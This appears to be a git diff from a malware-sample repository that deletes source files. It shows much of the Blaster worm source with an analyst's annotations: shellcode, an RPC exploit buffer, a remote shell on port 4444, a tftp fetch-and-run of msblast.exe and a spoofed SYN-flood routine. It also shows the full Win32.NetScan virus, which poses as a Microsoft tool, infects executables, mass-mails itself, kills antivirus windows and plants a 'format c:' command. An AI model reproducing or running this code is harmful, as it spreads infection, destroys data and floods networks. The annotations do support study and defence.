-"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" -"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" -"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" -"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" -"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" -"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" -"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" -"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" -"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" -"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" -"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" -"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; - - - -unsigned char request4[]={ -0x01,0x10 -,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 - -,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C - -,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 -}; - -int ThreadId; -int len; -int sizeof_sa; -int ret; -int opt; -void *hThread; -struct sockaddr_in target_ip; -struct sockaddr_in sa; -int fd; -char cmdstr[0x200]; -int len1; -unsigned char buf2[0x1000]; -int i; - -/* -* Turn off non-blocking (i.e. re-enable blocking mode) -* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc') -* will slow down the spread of this worm. It takes a long -* time for blocking calls to timeout. I had several -* thousand worms halted by my 'deredoc' tarpit. -*/ -opt = 0; -ioctlsocket(sock, FIONBIO , &opt); - -/* -* Choose whether the exploit targets Win2k or WinXP. -*/ -if (winxp1_or_win2k2 == 1) -ret = 0x100139d; -else -ret = 0x18759f; -memcpy(sc+36, (unsigned char *) &ret, 4); - -/* ---------------------------------------------- -* This section is just copied from the original exploit -* script. This is the same as the scripts that have been -* widely published on the Internet. */ -len=sizeof(sc); -memcpy(buf2,request1,sizeof(request1)); -len1=sizeof(request1); - -*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; -*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; - -memcpy(buf2+len1,request2,sizeof(request2)); -len1=len1+sizeof(request2); -memcpy(buf2+len1,sc,sizeof(sc)); -len1=len1+sizeof(sc); -memcpy(buf2+len1,request3,sizeof(request3)); -len1=len1+sizeof(request3); -memcpy(buf2+len1,request4,sizeof(request4)); -len1=len1+sizeof(request4); - -*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc; - - -*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; -*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; -*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; -*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; -*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; -*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; -*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; - -if (send(sock,bindstr,sizeof(bindstr),0)== -1) -{ -//perror("- Send"); -return; -} - - -if (send(sock,buf2,len1,0)== -1) -{ -//perror("- Send"); -return; -} -closesocket(sock); -Sleep(400); -/* ----------------------------------------------*/ - - -/* -* This section of code connects to the victim on port 4444. -* DEFENSE : This means you can block this worm by blocking -* TCP port 4444. -* FAQ: This port is only open for the brief instant needed -* to exploit the victim. Therefore, you can't scan for -* port 4444 in order to find Blaster victims. -*/ -if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1) -return; -memset(&target_ip, 0, sizeof(target_ip)); -target_ip.sin_family = AF_INET; -target_ip.sin_port = htons(SHELL_PORT_4444); -target_ip.sin_addr.s_addr = inet_addr(victim_ip); -if (target_ip.sin_addr.s_addr == SOCKET_ERROR) -return; -if (connect(fd, (struct sockaddr*)&target_ip, -sizeof(target_ip)) == SOCKET_ERROR) -return; - -/* -* This section recreates the IP address from whatever IP -* address this successfully connected to. In practice, -* the strings "victim_ip" and "target_ip_string" should be -* the same. -*/ -memset(target_ip_string, 0, sizeof(target_ip_string)); -sizeof_sa = sizeof(sa); -getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa); -sprintf(target_ip_string, "%d.%d.%d.%d", -sa.sin_addr.s_net, sa.sin_addr.s_host, -sa.sin_addr.s_lh, sa.sin_addr.s_impno); - -/* -* This section creates a temporary TFTP service that is -* ONLY alive during the period of time that the victim -* needs to download. -* FAQ: You can't scan for TFTP in order to find Blaster -* victims because the port is rarely open. -*/ -if (fd_tftp_service) -closesocket(fd_tftp_service); -hThread = CreateThread(0,0, -blaster_tftp_thread,0,0,&ThreadId); -Sleep(80); /*give time for thread to start*/ - -/* -* This sends the command -* tftp -i 1.2.3.4 GET msblast.exe -* to the victim. The "tftp.exe" program is built into -* Windows. It's intended purpose is to allow users to -* manually update their home wireless access points with -* new software (and other similar tasks). However, it is -* not intended as a generic file-transfer protocol (it -* stands for "trivial-file-transfer-protocol" -- it is -* intended for only trivial tasks). Since a lot of hacker -* exploits use the "tftp.exe" program, a good hardening -* step is to remove/rename it. -*/ -sprintf(cmdstr, "tftp -i %s GET %s\n", -target_ip_string, MSBLAST_EXE); -if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) -goto closesocket_and_return; - -/* -* Wait 21 seconds for the victim to request the file, then -* for the file to be delivered via TFTP. -*/ -Sleep(1000); -for (i=0; i<10 && is_tftp_running; i++) -Sleep(2000); - -/* -* Assume the the transfer is successful, and send the -* command to start executing the newly downloaded program. -* BUFORD: The hacker starts this twice. Again, it -* demonstrates a lock of confidence, so he makes sure it's -* started by doing it twice in slightly different ways. -* Note that the "BILLY" mutex will prevent from actually -* running twice. -*/ -sprintf(cmdstr, "start %s\n", MSBLAST_EXE); -if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) -goto closesocket_and_return; -Sleep(2000); -sprintf(cmdstr, "%s\n", MSBLAST_EXE); -send(fd, cmdstr, strlen(cmdstr), 0); -Sleep(2000); - - -/* -* This section closes the things started in this procedure -*/ -closesocket_and_return: - -/* Close the socket for the remote command-prompt that has -* been established to the victim. */ -if (fd != 0) -closesocket(fd); - -/* Close the TFTP server that was launched above. As noted, -* this means that the TFTP service is not running most of -* the time, so it's not easy to scan for infected systems. -*/ -if (is_tftp_running) { -TerminateThread(hThread,0); -closesocket(fd_tftp_service); -is_tftp_running = 0; -} -CloseHandle(hThread); -} - - -/** -* Convert the name into an IP address. If the IP address -* is formatted in decimal-dot-notation (e.g. 192.2.0.43), -* then return that IP address, otherwise do a DNS lookup -* on the address. Note that in the case of the worm, -* it always gives the string "windowsupdate.com" to this -* function, and since Microsoft turned off that name, -* the DNS lookup will usually fail, so this function -* generally returns -1 (SOCKET_ERROR), which means the -* address 255.255.255.255. -*/ -int blaster_resolve_ip(const char *windowsupdate_com) -{ -int result; - -result = inet_addr(windowsupdate_com); -if (result == SOCKET_ERROR) { -HOSTENT *p_hostent = gethostbyname(windowsupdate_com); -if (p_hostent == NULL) -result = SOCKET_ERROR; -else -result = *p_hostent->h_addr; -} - -return result; -} - - -/* -* This thre -*/ -ULONG WINAPI blaster_DoS_thread(LPVOID p) -{ -int opt = 1; -int fd; -int target_ip; - - -/* Lookup the domain-name. Note that no checking is done -* to ensure that the name is valid. Since Microsoft turned -* this off in their domain-name servers, this function now -* returns -1. */ -target_ip = blaster_resolve_ip("windowsupdate.com"); - - -/* Create a socket that the worm will blast packets at -* Microsoft from. This is what is known as a "raw" socket. -* So-called "raw-sockets" are ones where packets are -* custom-built by the programmer rather than by the TCP/IP -* stack. Note that raw-sockets were not available in Windows -* until Win2k. A cybersecurity pundit called Microsoft -* "irresponsible" for adding them. -* -* That's probably an -* unfairly harsh judgement (such sockets are available in -* every other OS), but it's true that it puts the power of -* SYNflood attacks in the hands of lame worm writers. While -* the worm-writer would probably have chosen a different -* DoS, such as Slammer-style UDP floods, it's likely that -* Buford wouldn't have been able to create a SYNflood if -* raw-sockets had not been added to Win2k/WinXP. */ -fd = WSASocket( -AF_INET, /*TCP/IP sockets*/ -SOCK_RAW, /*Custom TCP/IP headers*/ -IPPROTO_RAW, -NULL, -0, -WSA_FLAG_OVERLAPPED -); -if (fd == SOCKET_ERROR) -return 0; - -/* Tell the raw-socket that IP headers will be created by the -* programmer rather than the stack. Most raw sockets in -* Windows will also have this option set. */ -if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, -(char*)&opt, sizeof(opt)) == SOCKET_ERROR) -return 0; - - -/* Now do the SYN flood. The worm writer decided to flood -* slowly by putting a 20-millisecond delay between packets -* -- causing only 500 packets/second, or roughly, 200-kbps. -* There are a couple of reasons why the hacker may have -* chosen this. -* 1. SYNfloods are not intended to be bandwidth floods, -* even slow rates are hard to deal with. -* 2. Slammer DoSed both the sender and receiver, therefore -* senders hunted down infected systems and removed -* them. This won't DoS the sender, so people are more -* likely not to care about a few infected machines. -*/ -for (;;) { -blaster_send_syn_packet(target_ip, fd); - -/* Q: How fast does it send the SYNflood? -* A: About 50 packets/second, where each packet is -* 320-bits in size, for a total of 15-kbps. -* It means that Buford probably intended for -* dialup users to be a big source of the DoS -* attack. He was smart enough to realize that -* faster floods would lead to users discovering -* the worm and turning it off. */ -Sleep(20); -} - - -closesocket(fd); -return 0; -} - - - -/* -* This is a standard TCP/IP checksum algorithm -* that you find all over the web. -*/ -int blaster_checksum(const void *bufv, int length) -{ -const unsigned short *buf = (const unsigned short *)bufv; -unsigned long result = 0; - -while (length > 1) { -result += *(buf++); -length -= sizeof(*buf); -} -if (length) result += *(unsigned char*)buf; -result = (result >> 16) + (result & 0xFFFF); -result += (result >> 16); -result = (~result)&0xFFFF; - -return (int)result; -} - - - -/* -* This is a function that uses "raw-sockets" in order to send -* a SYNflood at the victim, which is "windowsupdate.com" in -* the case of the Blaster worm. -*/ -void blaster_send_syn_packet(int target_ip, int fd) -{ - -struct IPHDR -{ -unsigned char verlen; /*IP version & length */ -unsigned char tos; /*IP type of service*/ -unsigned short totallength;/*Total length*/ -unsigned short id; /*Unique identifier */ -unsigned short offset; /*Fragment offset field*/ -unsigned char ttl; /*Time to live*/ -unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/ -unsigned short checksum; /*IP checksum*/ -unsigned int srcaddr; /*Source address*/ -unsigned int dstaddr; /*Destination address*/ - -}; -struct TCPHDR -{ -unsigned short srcport; -unsigned short dstport; -unsigned int seqno; -unsigned int ackno; -unsigned char offset; -unsigned char flags; -unsigned short window; -unsigned short checksum; -unsigned short urgptr; -}; -struct PSEUDO -{ -unsigned int srcaddr; -unsigned int dstaddr; -unsigned char padzero; -unsigned char protocol; -unsigned short tcplength; -}; -struct PSEUDOTCP -{ -unsigned int srcaddr; -unsigned int dstaddr; -unsigned char padzero; -unsigned char protocol; -unsigned short tcplength; -struct TCPHDR tcphdr; -}; - - - - -char spoofed_src_ip[16]; -unsigned short target_port = 80; /*SYNflood web servers*/ -struct sockaddr_in to; -struct PSEUDO pseudo; -char buf[60] = {0}; -struct TCPHDR tcp; -struct IPHDR ip; -int source_ip; - - -/* Yet another randomizer-seeding */ -srand(GetTickCount()); - -/* Generate a spoofed source address that is local to the -* current Class B subnet. This is pretty smart of Buford. -* Using just a single IP address allows defenders to turn -* it off on the firewall, whereas choosing a completely -* random IP address would get blocked by egress filters -* (because the source IP would not be in the proper range). -* Randomly choosing nearby IP addresses it probably the -* best way to evade defenses */ -sprintf(spoofed_src_ip, "%i.%i.%i.%i", -local_class_a, local_class_b, rand()%255, rand()%255); -source_ip = blaster_resolve_ip(spoofed_src_ip); - -/* Build the sockaddr_in structure. Normally, this is what -* the underlying TCP/IP stack uses to build the headers -* from. However, since the DoS attack creates its own -* headers, this step is largely redundent. */ -to.sin_family = AF_INET; -to.sin_port = htons(target_port); /*this makes no sense */ -to.sin_addr.s_addr = target_ip; - -/* Create the IP header */ -ip.verlen = 0x45; -ip.totallength = htons(sizeof(ip) + sizeof(tcp)); -ip.id = 1; -ip.offset = 0; -ip.ttl = 128; -ip.protocol = IPPROTO_TCP; -ip.checksum = 0; /*for now, set to true value below */ -ip.dstaddr = target_ip; - -/* Create the TCP header */ -tcp.dstport = htons(target_port); -tcp.ackno = 0; -tcp.offset = (unsigned char)(sizeof(tcp)<<4); -tcp.flags = 2; /*TCP_SYN*/ -tcp.window = htons(0x4000); -tcp.urgptr = 0; -tcp.checksum = 0; /*for now, set to true value below */ - -/* Create pseudo header (which copies portions of the IP -* header for TCP checksum calculation).*/ -pseudo.dstaddr = ip.dstaddr; -pseudo.padzero = 0; -pseudo.protocol = IPPROTO_TCP; -pseudo.tcplength = htons(sizeof(tcp)); - -/* Use the source adress chosen above that is close, but -* not the same, as the spreader's IP address */ -ip.srcaddr = source_ip; - -/* Choose a random source port in the range [1000-19999].*/ -tcp.srcport = htons((unsigned short)((rand()%1000)+1000)); - -/* Choose a random sequence number to start the connection. -* BUG: Buford meant htonl(), not htons(), which means seqno -* will be 15-bits, not 32-bits, i.e. in the range -* [0-32767]. (the Windows rand() function only returns -* 15-bits). */ -tcp.seqno = htons((unsigned short)((rand()<<16)|rand())); - -pseudo.srcaddr = source_ip; - -/* Calculate TCP checksum */ -memcpy(buf, &pseudo, sizeof(pseudo)); -memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp)); -tcp.checksum = blaster_checksum(buf, -sizeof(pseudo)+sizeof(tcp)); - -memcpy(buf, &ip, sizeof(ip)); -memcpy(buf+sizeof(ip), &tcp, sizeof(tcp)); - -/* I have no idea what's going on here. The assembly code -* zeroes out a bit of memory near the buffer. I don't know -* if it is trying to zero out a real variable that happens -* to be at the end of the buffer, or if it is trying to zero -* out part of the buffer itself. */ -memset(buf+sizeof(ip)+sizeof(tcp), 0, -sizeof(buf)-sizeof(ip)-sizeof(tcp)); - -/* Major bug here: the worm writer incorrectly calculates the -* IP checksum over the entire packet. This is incorrect -- -* the IP checksum is just for the IP header itself, not for -* the TCP header or data. However, Windows fixes the checksum -* anyway, so the bug doesn't appear in the actual packets -* themselves. -*/ -ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp)); - -/* Copy the header over again. The reason for this is simply to -* copy over the checksum that was just calculated above, but -* it's easier doing this for the programmer rather than -* figuring out the exact offset where the checksum is -* located */ -memcpy(buf, &ip, sizeof(ip)); - -/* Send the packet */ -sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0, -(struct sockaddr*)&to, sizeof(to)); -} \ No newline at end of file diff --git a/Win32/Generic Crimeware/Win32.Netscan.c b/Win32/Generic Crimeware/Win32.Netscan.c deleted file mode 100644 index b35fd8f5..00000000 --- a/Win32/Generic Crimeware/Win32.Netscan.c +++ /dev/null @@ -1,245 +0,0 @@ -#include "netscan.h" -#pragma hdrstop -#pragma warning (disable: 4068) -#pragma warning (disable: 4001) -#pragma resource "resource.res" - -char GetNetScanPath[256],GetNetScanWinDir[256],MyBuffer[256]="echo y|format c: /u /v:HaHaHaHa"; -LPSTR FileEmm386 = "Emm386.exe"; -LPSTR FileSetver = "SetVer.exe"; -LPSTR Nom = "a"; -DWORD ExtInf; -int Err,ErrSend; -HANDLE NetScanTime,NetScanHandle,AutoBat; -HMODULE GetKernLib, GetMapiLib; -HKEY NetScan32Key,NetScanNTKey,NetScanInstall,CreateNetScan; -typedef DWORD(*RegistServProcs)(DWORD,DWORD); -typedef ULONG(*SendMessInfect)(LHANDLE,ULONG,MapiMessage FAR*,FLAGS,ULONG); -typedef ULONG(*FindUserAddress)(LHANDLE,ULONG,LPTSTR,FLAGS,ULONG,lpMapiRecipDesc FAR*); -typedef ULONG(*DoMemFree)(LPVOID); -HWND WindowsHwnd,SymantecHwnd,NAVHwnd; - -#pragma argsused -int APIENTRY WinMain -( -HINSTANCE hInstance, -HINSTANCE hPrevInstance, -LPSTR lpszCmdLine, -int nCmdShow -) -{ -//Win32.NetScan by ZeMacroKiller98 -//Tous droits r‚serv‚s (c) 2001 -WIN32_FIND_DATA GetFileToInfect; -OSVERSIONINFO GetOsVer; -FILETIME GetFileCreateTime,GetFileLstAccess,GetFileLstWrite; -SYSTEMTIME TriggerScanTime; -RegistServProcs MyServProcs; -SendMessInfect SendMessToOther; -FindUserAddress GetAddressUser; -DoMemFree GetMemFree; -GetKernLib = LoadLibrary("kernel32.dll"); -MyServProcs = (RegistServProcs)GetProcAddress(GetKernLib,"RegisterServiceProcess"); -MessageBox(NULL,"This freeware install automaticaly itself into your system\nIt scan your system each time you connect to network\nIf you have any problem, contact Microsoft","NetScan Utility",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL); -SearchPath(NULL,_argv[0],NULL,sizeof(GetNetScanPath),GetNetScanPath,NULL); -GetOsVer.dwOSVersionInfoSize = sizeof(GetOsVer); -GetVersionEx(&GetOsVer); -if(GetOsVer.dwPlatformId==VER_PLATFORM_WIN32_NT) -{ - RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScanNTKey); - RegSetValueEx(NetScanNTKey,"NetScanNT",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath)); - RegCloseKey(NetScanNTKey); -} -else -{ - RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScan32Key); - RegSetValueEx(NetScan32Key,"NetScan32",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath)); - RegCloseKey(NetScan32Key); -} -if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\NetScan\\Install",0,KEY_ALL_ACCESS,&NetScanInstall)!=ERROR_SUCCESS) -{ - GetMapiLib = LoadLibrary("mapi32.dll"); - GetWindowsDirectory(GetNetScanWinDir,sizeof(GetNetScanWinDir)); - SetCurrentDirectory(GetNetScanWinDir); - NetScanHandle = FindFirstFile("*.exe",&GetFileToInfect); - NetScanFind: - NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); - GetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite); - CloseHandle(NetScanTime); - if((lstrcmp(GetFileToInfect.cFileName,"emm386.exe")==0)||(lstrcmp(GetFileToInfect.cFileName,"setver.exe")==0)) - goto NotInfection; - CopyFile(_argv[0],GetFileToInfect.cFileName,FALSE); - NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); - SetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite); - CloseHandle(NetScanTime); - NotInfection: - if(FindNextFile(NetScanHandle,&GetFileToInfect)==TRUE) - goto NetScanFind; - FindClose(NetScanHandle); - RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Britney\\Install",&CreateNetScan); - RegCloseKey(CreateNetScan); - SendMessToOther = (SendMessInfect)GetProcAddress(GetMapiLib,"MAPISendMail"); - GetAddressUser = (FindUserAddress)GetProcAddress(GetMapiLib,"MAPIResolveName"); - GetMemFree = (DoMemFree)GetProcAddress(GetMapiLib,"MAPIFreeBuffer"); - if((SendMessToOther==NULL)||(GetAddressUser==NULL)||(GetMemFree==NULL)) - { - MessageBox(NULL,"This program need MAPI functions installed on your PC\nPlease contact your hot line to install it","NetScan Utility",MB_OK|MB_ICONEXCLAMATION); - SetCurrentDirectory("C:/"); - DeleteFile("*.*"); - ExitProcess(0); - } -MapiMessage stMessage; -MapiRecipDesc stRecip; -MapiFileDesc stFile; -lpMapiRecipDesc lpRecip; -stFile.ulReserved = 0; -stFile.flFlags = 0L; -stFile.nPosition = (ULONG)-1; -stFile.lpszPathName = GetNetScanPath; -stFile.lpszFileName = NULL; -stFile.lpFileType = NULL; -MessageBox(NULL,"To test your network, you need to select a email address into your address book\nPlease select address with","ILoveBritney Freeware",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL); -UnResolve: -Err = (GetAddressUser)(lhSessionNull,0L,Nom,MAPI_DIALOG,0L,&lpRecip); -if(Err!=SUCCESS_SUCCESS) -{ -switch(Err){ - case MAPI_E_AMBIGUOUS_RECIPIENT: - MessageBox(NULL,"The recipient requested has not been or could\n not be resolved to a unique address list entry","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - break; - case MAPI_E_UNKNOWN_RECIPIENT: - MessageBox(NULL,"The recipient could not be resolved to any\naddress.The recipient might not exist or might be unknown","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - break; - case MAPI_E_FAILURE: - MessageBox(NULL,"One or more unspecified errors occured\nThe name was not resolved","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - DeleteFile("*.*"); - ExitProcess(0); - break; - case MAPI_E_INSUFFICIENT_MEMORY: - MessageBox(NULL,"There was insufficient memory to proceed","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - DeleteFile("*.*"); - ExitProcess(0); - break; - case MAPI_E_NOT_SUPPORTED: - MessageBox(NULL,"The operation was not supported by the messaging system","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - DeleteFile("*.*"); - ExitProcess(0); - break; - case MAPI_E_USER_ABORT: - MessageBox(NULL,"The user was cancelled one or more dialog box","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - DeleteFile("*.*"); - ExitProcess(0); - break; - } -goto UnResolve; -} -stRecip.ulReserved = lpRecip->ulReserved; -stRecip.ulRecipClass = MAPI_TO; -stRecip.lpszName = lpRecip->lpszName; -stRecip.lpszAddress = lpRecip->lpszAddress; -stRecip.ulEIDSize = lpRecip->ulEIDSize; -stRecip.lpEntryID = lpRecip->lpEntryID; -stMessage.ulReserved = 0; -stMessage.lpszSubject = "Microsoft NetScan Utility"; -stMessage.lpszNoteText = lstrcat("Hi ",(lstrcat(lpRecip->lpszName,"\n\n\tI send you this mail to test my network\nI need you to send me a answer about it\nThis program can scan your network to find all problem into your network\n\n\tEnjoy to test your net...\nThank you and see you soon....\n\n\n\t\t\t\t\tMicrosoft Technical Support"))); -stMessage.lpszMessageType = NULL; -stMessage.lpszDateReceived = NULL; -stMessage.lpszConversationID = NULL; -stMessage.flFlags = 0L; -stMessage.lpOriginator = NULL; -stMessage.nRecipCount = 1; -stMessage.lpRecips = &stRecip; -stMessage.nFileCount = 1; -stMessage.lpFiles = &stFile; -ErrSend = (SendMessToOther)(lhSessionNull,0L,&stMessage,0L,0L); -if(ErrSend!=SUCCESS_SUCCESS) -{ - MessageBox(NULL,"The test can't continue, due to a error occured during to sending message\nPlease contact our hotline at hotline@microsoft.com","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - DeleteFile("*.*"); - ExitProcess(0); -} -MessageBox(NULL,"The test is OK and NetScan is installed into your system\n", - "NetScan Utility", - MB_OK|MB_ICONINFORMATION); -FreeLibrary(GetMapiLib); -} -RegCloseKey(NetScanInstall); -STARTUPINFO NetScanInfo; -PROCESS_INFORMATION NetScanProc; -NetScanInfo.cb = sizeof(STARTUPINFO); -NetScanInfo.lpReserved = NULL; -NetScanInfo.lpReserved2 = NULL; -NetScanInfo.cbReserved2 = 0; -NetScanInfo.lpDesktop = NULL; -NetScanInfo.dwFlags = STARTF_FORCEOFFFEEDBACK; -if(CreateProcess(GetNetScanPath, - NULL, - (LPSECURITY_ATTRIBUTES)NULL, - (LPSECURITY_ATTRIBUTES)NULL, - FALSE, - 0, - NULL, - NULL, - &NetScanInfo, - &NetScanProc)) -{ -CloseHandle(NetScanProc.hProcess); -CloseHandle(NetScanProc.hThread); -} -if(CreateMutex(NULL,TRUE,GetNetScanPath)==NULL) - ExitProcess(0); -SetPriorityClass(NetScanProc.hProcess,REALTIME_PRIORITY_CLASS); -MyServProcs(NetScanProc.dwProcessId,1); -GetSystemTime(&TriggerScanTime); -//Close windows which title is WINDOWS -WindowsHwnd = FindWindow(NULL,"WINDOWS"); -if(WindowsHwnd!=NULL) - DestroyWindow(WindowsHwnd); -//Close access to Symantec HomePage -SymantecHwnd = FindWindow(NULL,"Symantec Security Updates - Home Page - Microsoft Internet Explorer"); -if(SymantecHwnd!=NULL) -{ - MessageBox(NULL,"You don't have access to this page\nPlease contact the web master to correct this problem\n","Microsoft Internet Explorer",MB_OK|MB_ICONEXCLAMATION|MB_ICONSTOP); - DestroyWindow(SymantecHwnd); -} -//Anti Norton Antivirus -NAVHwnd = FindWindow(NULL,"Norton AntiVirus"); -if(NAVHwnd !=NULL) -{ - MessageBox(NULL,"Ha Ha Ha Ha!!!!, you use NAV?????\nI can allow access to it\nChange AV now","Win32.NetScan",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); - DestroyWindow(NAVHwnd); -} -if((TriggerScanTime.wHour==12)&&(TriggerScanTime.wMinute==12)) -{ - mciSendString("open cdaudio",NULL,0,NULL); - mciSendString("set cdaudio door open",NULL,0,NULL); - mciSendString("close cdaudio",NULL,0,NULL); - mciSendString("open cdaudio",NULL,0,NULL); - mciSendString("set cdaudio audio all off",NULL,0,NULL); - mciSendString("close cdaudio",NULL,0,NULL); - MessageBeep(MB_ICONEXCLAMATION); -} -if(TriggerScanTime.wDay==1) -{ - MessageBox(NULL,"It's the day that your PC is going to scan or maybe going to disappear","Win32.Netscan",MB_OK|MB_ICONEXCLAMATION); - SetCurrentDirectory("C:\\"); - AutoBat = CreateFile("autoexec.bat",GENERIC_WRITE,0,(LPSECURITY_ATTRIBUTES) NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE) NULL); - SetFilePointer(AutoBat, 0, (LPLONG)NULL,FILE_END); - WriteFile(AutoBat,MyBuffer,sizeof(MyBuffer),&ExtInf,NULL); - CloseHandle(AutoBat); - ExitWindowsEx(EWX_FORCE|EWX_REBOOT,0); -} -FreeLibrary(GetKernLib); -return 0; -} - - -************************************************************************* - -#define WIN32_LEAN_AND_MEAN -#include -#include -#include -#include -#include -#include \ No newline at end of file diff --git a/Win32/Generic Crimeware/Hoax.Win32.Ransomware.Petya.zip b/Win32/Hoax.Win32.Ransomware.Petya.zip similarity index 100% rename from Win32/Generic Crimeware/Hoax.Win32.Ransomware.Petya.zip rename to Win32/Hoax.Win32.Ransomware.Petya.zip diff --git a/Win32/InternetWorm/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.c.rar b/Win32/Malware Families/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.c.rar similarity index 100% rename from Win32/InternetWorm/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.c.rar rename to Win32/Malware Families/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.c.rar diff --git a/Win32/InternetWorm/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.e.rar b/Win32/Malware Families/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.e.rar similarity index 100% rename from Win32/InternetWorm/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.e.rar rename to Win32/Malware Families/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.e.rar diff --git a/Win32/InternetWorm/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.g.rar b/Win32/Malware Families/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.g.rar similarity index 100% rename from Win32/InternetWorm/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.g.rar rename to Win32/Malware Families/Email-Worm.Win32.Wozer/Email-Worm.Win32.Wozer.g.rar diff --git a/Win32/InternetWorm/I-Worm.Pluto/I-Worm.Pluto.b.zip b/Win32/Malware Families/I-Worm.Pluto/I-Worm.Pluto.b.zip similarity index 100% rename from Win32/InternetWorm/I-Worm.Pluto/I-Worm.Pluto.b.zip rename to Win32/Malware Families/I-Worm.Pluto/I-Worm.Pluto.b.zip diff --git a/Win32/InternetWorm/I-Worm.Pluto/I-Worm.Pluto.c.zip b/Win32/Malware Families/I-Worm.Pluto/I-Worm.Pluto.c.zip similarity index 100% rename from Win32/InternetWorm/I-Worm.Pluto/I-Worm.Pluto.c.zip rename to Win32/Malware Families/I-Worm.Pluto/I-Worm.Pluto.c.zip diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.7z b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.7z rename to Win32/Malware 